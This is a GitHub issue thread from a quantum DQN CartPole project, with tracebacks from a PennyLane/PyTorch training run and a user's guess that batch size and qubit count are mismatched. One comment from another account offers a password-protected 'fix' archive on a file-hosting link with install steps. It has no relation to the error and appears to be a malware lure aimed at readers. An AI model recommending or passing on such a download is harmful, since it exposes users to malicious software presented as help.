Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

code error #2

Open
DylanCZW opened this issue Aug 27, 2024 · 1 comment
Open

code error #2

DylanCZW opened this issue Aug 27, 2024 · 1 comment

Comments

@DylanCZW
Copy link

when I run your code, I got this error:
E:\anaconda\envs\qrl\lib\site-packages\gym\envs\registration.py:593: UserWarning: WARN: The environment CartPole-v0 is out of date. You should consider upgrading to version v1.
logger.warn(
E:\anaconda\envs\qrl\lib\site-packages\gym\core.py:317: DeprecationWarning: WARN: Initializing wrapper in old step API which returns one bool instead of two. It is recommended to set new_step_api=True to use new step API. This will be the default behaviour in future.
deprecation(
E:\anaconda\envs\qrl\lib\site-packages\gym\wrappers\step_api_compatibility.py:39: DeprecationWarning: WARN: Initializing environment in old step API which returns one bool instead of two. It is recommended to set new_step_api=True to use new step API. This will be the default behaviour in future.
deprecation(
E:\anaconda\envs\qrl\lib\site-packages\gym\core.py:256: DeprecationWarning: WARN: Function env.seed(seed) is marked as deprecated and will be removed in the future. Please use env.reset(seed=seed) instead.
deprecation(
E:\anaconda\envs\qrl\lib\site-packages\gym\utils\passive_env_checker.py:241: DeprecationWarning: np.bool8 is a deprecated alias for np.bool_. (Deprecated NumPy 1.24)
if not isinstance(terminated, (bool, np.bool8)):
DQN: 0%| | 0/5000 [21:09<?, ?episode/s]
Traceback (most recent call last):
File "F:/bishe/code/qrl-dqn-gym/cart_pole/train.py", line 168, in
main()
File "F:/bishe/code/qrl-dqn-gym/cart_pole/train.py", line 160, in main
trainer.learn(args.total_episodes,
File "F:\bishe\code\qrl-dqn-gym\common\trainer.py", line 238, in learn
train_stats = self.train_step()
File "F:\bishe\code\qrl-dqn-gym\common\trainer.py", line 180, in train_step
loss = self.update_net()
File "F:\bishe\code\qrl-dqn-gym\common\trainer.py", line 135, in update_net
state_action_values = self.net(states)
File "E:\anaconda\envs\qrl\lib\site-packages\torch\nn\modules\module.py", line 1553, in _wrapped_call_impl
return self._call_impl(*args, **kwargs)
File "E:\anaconda\envs\qrl\lib\site-packages\torch\nn\modules\module.py", line 1562, in _call_impl
return forward_call(*args, **kwargs)
File "F:/bishe/code/qrl-dqn-gym/cart_pole/train.py", line 115, in forward
outputs = self.q_layers(inputs)
File "E:\anaconda\envs\qrl\lib\site-packages\torch\nn\modules\module.py", line 1553, in _wrapped_call_impl
return self._call_impl(*args, **kwargs)
File "E:\anaconda\envs\qrl\lib\site-packages\torch\nn\modules\module.py", line 1562, in _call_impl
return forward_call(*args, **kwargs)
File "E:\anaconda\envs\qrl\lib\site-packages\pennylane\qnn\torch.py", line 404, in forward
results = self._evaluate_qnode(inputs)
File "E:\anaconda\envs\qrl\lib\site-packages\pennylane\qnn\torch.py", line 430, in _evaluate_qnode
res = self.qnode(**kwargs)
File "E:\anaconda\envs\qrl\lib\site-packages\pennylane\workflow\qnode.py", line 1164, in call
return self._impl_call(*args, **kwargs)
File "E:\anaconda\envs\qrl\lib\site-packages\pennylane\workflow\qnode.py", line 1144, in _impl_call
self.construct(args, kwargs)
File "E:\anaconda\envs\qrl\lib\site-packages\pennylane\logging\decorators.py", line 61, in wrapper_entry
return func(*args, **kwargs)
File "E:\anaconda\envs\qrl\lib\site-packages\pennylane\workflow\qnode.py", line 966, in construct
self._qfunc_output = self.func(*args, **kwargs)
File "F:/bishe/code/qrl-dqn-gym/cart_pole/train.py", line 83, in circuit
layer(n_qubits, y_weights[layer_idx], z_weights[layer_idx])
KeyboardInterrupt

Process finished with exit code -1073741510 (0xC000013A: interrupted by Ctrl+C)

How can I deal with it?

@amir1387aht
Copy link

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

@DylanCZW
Copy link
Author

File "E:\anaconda\envs\qrl\lib\site-packages\pennylane\qnn\torch.py", line 404, in forward
results = self._evaluate_qnode(inputs)
File "E:\anaconda\envs\qrl\lib\site-packages\pennylane\qnn\torch.py", line 445, in _evaluate_qnode
return _combine_dimensions(res)
File "E:\anaconda\envs\qrl\lib\site-packages\pennylane\qnn\torch.py", line 437, in _combine_dimensions
_res = [torch.reshape(r, (x.shape[0], -1)) for r in _res]
File "E:\anaconda\envs\qrl\lib\site-packages\pennylane\qnn\torch.py", line 437, in
_res = [torch.reshape(r, (x.shape[0], -1)) for r in _res]
RuntimeError: shape '[16, -1]' is invalid for input of size 4

Process finished with exit code 1
I think the batch size and qbit is confused.

@github-staff github-staff deleted a comment from DylanCZW Aug 27, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants
@DylanCZW @amir1387aht and others